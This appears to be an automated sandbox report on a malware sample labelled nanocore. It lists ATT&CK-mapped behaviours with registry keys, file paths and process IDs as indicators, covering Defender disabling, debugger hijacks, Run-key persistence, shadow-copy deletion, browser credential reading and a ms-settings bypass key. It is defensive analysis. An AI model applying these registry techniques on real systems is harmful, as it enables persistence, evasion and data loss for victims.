nanocore | 2c689e41372f33ae098536b31409157ee4b23ada4f0516248ca67f577ef59f97

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	criesnyse.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	criesnyse.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	criesnyse.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4496	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	criesnyse.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	criesnyse.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	criesnyse.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5420	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	criesnyse.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	criesnyse.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	criesnyse.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3544	wscript.exe
3912	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	criesnyse.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4548	sc.exe
1068	sc.exe
1260	sc.exe
3940	sc.exe
2156	sc.exe
2664	sc.exe
2912	sc.exe
5816	sc.exe
6140	sc.exe
5712	sc.exe
6044	sc.exe
5212	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4888	cmd.exe
4436	cmd.exe
2964	cmd.exe
5816	cmd.exe
1140	cmd.exe
1292	cmd.exe
3576	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1892	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3736	ipconfig.exe
4460	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4396	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3052	vssadmin.exe
324	vssadmin.exe
5224	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2"	criesnyse.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304430041164653"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe"	criesnyse.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	criesnyse.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	criesnyse.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings	criesnyse.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute	criesnyse.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	criesnyse.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\criesnyse.io_chrome.exe\" \"%1\""	criesnyse.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command	criesnyse.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open	criesnyse.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	criesnyse.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell	criesnyse.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4148	schtasks.exe
4448	schtasks.exe
4824	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3800	chrome.exe
3800	chrome.exe
2540	powershell.exe
2540	powershell.exe
2540	powershell.exe
4068	WMIC.exe
4068	WMIC.exe
4068	WMIC.exe
4068	WMIC.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
5352	WMIC.exe
5352	WMIC.exe
5352	WMIC.exe
5352	WMIC.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4844	WMIC.exe
4844	WMIC.exe
4844	WMIC.exe
4844	WMIC.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe
4796	criesnyse.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4796	criesnyse.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe
Token: SeIncreaseQuotaPrivilege	4068	WMIC.exe
Token: SeSecurityPrivilege	4068	WMIC.exe
Token: SeTakeOwnershipPrivilege	4068	WMIC.exe
Token: SeLoadDriverPrivilege	4068	WMIC.exe
Token: SeSystemProfilePrivilege	4068	WMIC.exe
Token: SeSystemtimePrivilege	4068	WMIC.exe
Token: SeProfSingleProcessPrivilege	4068	WMIC.exe
Token: SeIncBasePriorityPrivilege	4068	WMIC.exe
Token: SeCreatePagefilePrivilege	4068	WMIC.exe
Token: SeBackupPrivilege	4068	WMIC.exe
Token: SeRestorePrivilege	4068	WMIC.exe
Token: SeShutdownPrivilege	4068	WMIC.exe
Token: SeDebugPrivilege	4068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4068	WMIC.exe
Token: SeRemoteShutdownPrivilege	4068	WMIC.exe
Token: SeUndockPrivilege	4068	WMIC.exe
Token: SeManageVolumePrivilege	4068	WMIC.exe
Token: 33	4068	WMIC.exe
Token: 34	4068	WMIC.exe
Token: 35	4068	WMIC.exe
Token: 36	4068	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4068	WMIC.exe
Token: SeSecurityPrivilege	4068	WMIC.exe
Token: SeTakeOwnershipPrivilege	4068	WMIC.exe
Token: SeLoadDriverPrivilege	4068	WMIC.exe
Token: SeSystemProfilePrivilege	4068	WMIC.exe
Token: SeSystemtimePrivilege	4068	WMIC.exe
Token: SeProfSingleProcessPrivilege	4068	WMIC.exe
Token: SeIncBasePriorityPrivilege	4068	WMIC.exe
Token: SeCreatePagefilePrivilege	4068	WMIC.exe
Token: SeBackupPrivilege	4068	WMIC.exe
Token: SeRestorePrivilege	4068	WMIC.exe
Token: SeShutdownPrivilege	4068	WMIC.exe
Token: SeDebugPrivilege	4068	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4068	WMIC.exe
Token: SeRemoteShutdownPrivilege	4068	WMIC.exe
Token: SeUndockPrivilege	4068	WMIC.exe
Token: SeManageVolumePrivilege	4068	WMIC.exe
Token: 33	4068	WMIC.exe
Token: 34	4068	WMIC.exe
Token: 35	4068	WMIC.exe
Token: 36	4068	WMIC.exe
Token: SeBackupPrivilege	2000	vssvc.exe
Token: SeRestorePrivilege	2000	vssvc.exe
Token: SeAuditPrivilege	2000	vssvc.exe
Token: SeShutdownPrivilege	3800	chrome.exe
Token: SeCreatePagefilePrivilege	3800	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe
3800	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4796	criesnyse.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 3800	4796	criesnyse.io_chrome.exe	89
PID 3800 wrote to memory of 1512	3800	chrome.exe	90
PID 4796 wrote to memory of 2540	4796	criesnyse.io_chrome.exe	91
PID 4796 wrote to memory of 4548	4796	criesnyse.io_chrome.exe	93
PID 3800 wrote to memory of 1892	3800	chrome.exe	95
PID 3800 wrote to memory of 3468	3800	chrome.exe	96
PID 3800 wrote to memory of 3468	3800	chrome.exe	96
PID 3800 wrote to memory of 5640	3800	chrome.exe	97
PID 3800 wrote to memory of 5640	3800	chrome.exe	97
PID 3800 wrote to memory of 5736	3800	chrome.exe	99
PID 3800 wrote to memory of 5736	3800	chrome.exe	99
PID 3800 wrote to memory of 752	3800	chrome.exe	100
PID 3800 wrote to memory of 752	3800	chrome.exe	100
PID 4796 wrote to memory of 6140	4796	criesnyse.io_chrome.exe	101
PID 4796 wrote to memory of 1068	4796	criesnyse.io_chrome.exe	103
PID 4796 wrote to memory of 1260	4796	criesnyse.io_chrome.exe	155
PID 4796 wrote to memory of 3940	4796	criesnyse.io_chrome.exe	107
PID 3800 wrote to memory of 4576	3800	chrome.exe	109
PID 3800 wrote to memory of 4576	3800	chrome.exe	109
PID 3800 wrote to memory of 4596	3800	chrome.exe	110
PID 3800 wrote to memory of 4596	3800	chrome.exe	110
PID 4796 wrote to memory of 2156	4796	criesnyse.io_chrome.exe	111
PID 4796 wrote to memory of 2664	4796	criesnyse.io_chrome.exe	113
PID 4796 wrote to memory of 2912	4796	criesnyse.io_chrome.exe	115
PID 4796 wrote to memory of 1788	4796	criesnyse.io_chrome.exe	117
PID 4796 wrote to memory of 5816	4796	criesnyse.io_chrome.exe	146
